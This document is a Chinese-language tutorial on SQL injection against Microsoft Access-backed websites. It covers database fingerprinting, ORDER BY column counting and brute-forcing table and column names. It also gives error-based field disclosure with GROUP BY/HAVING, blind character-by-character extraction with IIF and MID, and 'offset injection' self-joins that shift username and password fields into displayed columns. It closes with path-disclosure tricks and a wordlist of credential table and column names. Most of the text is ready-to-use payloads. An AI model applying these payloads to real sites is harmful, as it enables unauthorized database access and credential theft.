这里总结一下学到的Access数据库注入的知识点,参考文章如下:
实战access偏移注入
整理比较全的Access SQL注入参考
SQL Injection for Microsoft Access
Access中包含以下系统表
MSysAccessXML、MSysAces、MSysImexColumns、MSysObjects、MSysQueries、MSysRelationShips
是微软自带的。其中,MSysObjects表中包含了所有数据库对象。但遗憾的是,Access数据库默认不允许访问这些表。
首先,当然用单引号了,但现在一般情况下,目标程序都会过滤单引号。
如果注入点本身是数值型,可以改用1=1、1=2或len、chr等函数。
首先,必须知道目标数据库的类型。
在地址栏上显示的连接所带的参数后面加些特殊符号,看它的报错信息,如
http://www.**.com?id=1’
则回返回错误,如果是Microsoft JET Database Engine错误’80040e14’的话,则说明网站所用的数据库是Access数据库。
利用SQL和ACCESS的系统表的结构,如下
http://wwww.***.com?id=1 and (select count(*) from sysobjects)>0 //sysobjects 是SQL表
http://www.***.com/id=1 and (select count(*) from msysobjects)>0//msysobjects 是access
如果加sysobjects的SQL语句后,网页显示正常,
加msysobject的SQL语句后,网站显示不正常,则说明用的是SQLServer数据库。
如果加sysobjects和加msysobjects的SQL语句后,网页显示都不正常,或者加msysobject后的网页显示正常,则说明是ACCESS数据库。
但首先得允许访问系统表。
如果目标数据库同时支持len函数和chr函数,且不支持length和char函数,则很可能是Access数据库。在不返回报错信息的情况下,这种方式是我最常用的。
只有知道当前查询语句的字段数,才能保证之后的union注入能够字段对齐。方法与其他数据库一样,可以采用order by方式,即
id=1 order by x
x是数字,并逐渐递增。
当页面返回错误时,则(x-1)即为当前查询的字段数。
由于Access数据库的系统表默认不可访问,故不能像Mysql数据库一样,通过注系统表来获得表名和列名。这也是Access数据库比较难注入的一个原因,只要表名、列名够变态,有注入点也很难注出结果。
当然,如果有系统表的话,直接注是最好的。
UNION SELECT Name, NULL, NULL, NULL, NULL from MSysObjects WHERE Type=1
' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])
在提交注入查询语句后,如果获得的HTML返回和正常页面一样,则表存在。
还可以
AND exists(select * from tablename)
通过写脚本,用字典中的项逐一替换tablename,直到返回正确页面,即表示当前表名存在,下同。
列名与表名同等重要,但猜解难度更大。一般情况下,表名的变态程度是要低于列名的,往往可以通过爆破的方式获得。
前提:表名。
与猜解列名基本一致。
在知道表名的情况下,使用如下查询:
' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)
还可以
AND exist(select fieldname from tablename)
在Access数据库里,也支持having 和 group by 语句,这里分情况讨论。
A、如果站点SQL查询语句为 select id,name,address from 表名
也就是说查询的是特定的字段数据(而不是*),那么我们可以这么爆,
productshow.asp?id=25 group by 1 having 1=1(数字型),
如果字符型就 'group by 1 having '1'='1'
返回错误:
Microsoft JET Database Engine (0x80040E21)
试图执行的查询中不包含作为合计函数一部分的特定表达式 'id' 。
爆出id字段,继续,productshow.asp?id=25 group by 1,id having 1=1
返回错误:
Microsoft JET Database Engine (0x80040E21)
试图执行的查询中不包含作为合计函数一部分的特定表达式 'email' 。
依次类推productshow.asp?id=25 group by 1,id,email having 1=1,可以爆出目标表中的所有字段。
B、如果站点SQL查询语句为select * from product where id=”ID”
那么执行上述语句就会返 回这样的错误:
Microsoft JET Database Engine 错误 '80040e21' 不能将已选定'*'的字段中组合。/productshow.asp,行 18
这时我们可以这样爆字段,
productshow.asp?id=25 having sum(1)=1(数字型)
' having sum('1')='1')(字符型)
返回的错误:
Microsoft JET Database Engine 错误 '80040e21' 试图执行的查询中不包含作为合计函数一部分的特定表达式 'id' 。/productshow.asp,行 18
可以看到爆出了ID。
但这样很有局限性,只能爆出第一个字段id,其他的就没办法了。而id字段其实可能是可以直接猜出来的。
前提:表名。
在进一步的行动中,有时需要知道表中内容的行数。
在下面的查询中将被用作”TAB_LEN”变量:
' AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)
这里的”X”是大于0的任意。
IIF是Access注入中非常常用的一个函数。
前提:表名、列名。
如果目标注入点不直接回显错误信息,则我们需要首先知道目标字段内容的长度,才能进一步通过写脚本爆破出字段内容。
通过以下语句获取”ATTRIB”列的第一行的内容长度:
' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)
可以通过以下语句猜解到 “ATTRIB”列中第二行到第TAB_LEN行的内容的长度(这里N的值在2和TAB_LEN(在前面已经获得)之间)):
' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)
“KKK” 为大于0的任意值,使用ATTRIB<>’valueXXX’的原因是我们必须选择一个特定的行来猜解。将之前得到的”TOP N”行的值排除掉,然后剩下的行就是正在猜解的行。当然,这里有一个前提,”ATTRIB”必须是主键。
前提:表名、列名。
' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2' ... etc ... ) = CHAR(YYY), 1, 0)
“N”是要猜解的行,”XXX”是”ATTRIBxxx”的第X个字节,”ATT_key”是表的主键,”YYY”是一个0到255之间的数。它代表着一个字符的ASCII码。这里我们仍然要使用前面提到的方法猜解其他行的内容。
当然,也可以直接联合查询:
union select top N password from table where key<>xxx
其中,key是table的主键,也就是说,我们需要先爆出主键名。
前提:表名。
有时,我们在知道表名的情况下,需要知道该表内的字段数目,以用于偏移注入等情况。这时,我们可以这样:
id=1 union select 1,2,3,4,* from xxx
假设通过order by我们知道查询语句的字段数是8,则如果上面的语句成立,则xxx表的字段数就是(8-4=4)个。
偏移注入的使用条件如下:
简单说下偏移注入原理:
1.Union联合查询需要列相等,顺序一样;
2.这句话就是说把admin表记为a,同时也记为b,然后查询条件是a表的id列与b表的id列相等,返回所有相等的行。显然,a、b都是同一个表,当然全部返回啦。
select * from admin as a inner join admin as b on a.id=b.id
union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
这里假设主语句查询字段共20个,目标表admin字段数为5。
大家是否觉得很疑惑:10+2 + 5*2 = 22 > 20
但这条语句是合法的。因为a.id和 b.id在 * 里是有的,那么自动去掉重复的元素以保持结果集合里元素的唯一性。这样一来虽然查询效果一样,但是*里的字段排列顺序却被打乱了!先后两次打乱很有可能让username、password等字段偏移到可显示位置。
如果还没成功 怎么办?
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,d.id,* from (((admin as ainner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)
SELECT * FROM users WHERE id=1 UNION SELECT curdir() FROM MsysAccessObjects WHERE 1=1
LIMIT不被支持,但在查询中可以声明”TOP N”来限制返回内容的行数:
' UNION SELECT TOP 3 AttrName FROM validTableName
这条语句返回(前)3行
支持CONCAT()函数,可以使用”&”或”+”操作来连接两个字符串。在使用时必须对这两个操作符进行URLencode编码:
' UNION SELECT 'web' %2b 'app' FROM validTableName : 返回"webapp"
' UNION SELECT 'web' %26 'app' FROM validTableName : 返回"webapp"
可以通过对一个不存在的库进行SELECT操作,Access将会返回一条包含有完整路径的错误信息:
' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable
会爆出:
Microsoft JET Database Engine 错误 ‘80004005’
找不到文件 ‘c:\windows\system32\inetsrv\ThisIsAFakeName.mdb’。
/web03/ca55022fa7ae5c29d179041883fe1556/index.asp,行 5
如果目标系统屏蔽了错误信息,则无效。
这里是一个小的表/列名样本字典,在猜解中也许用的到:
account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
customers, customer, config, conf, cfg;
hash;
login, logout, loginout, log;
member, memberid;
password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;
store, store1, store2, store3, store4, setting;
username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;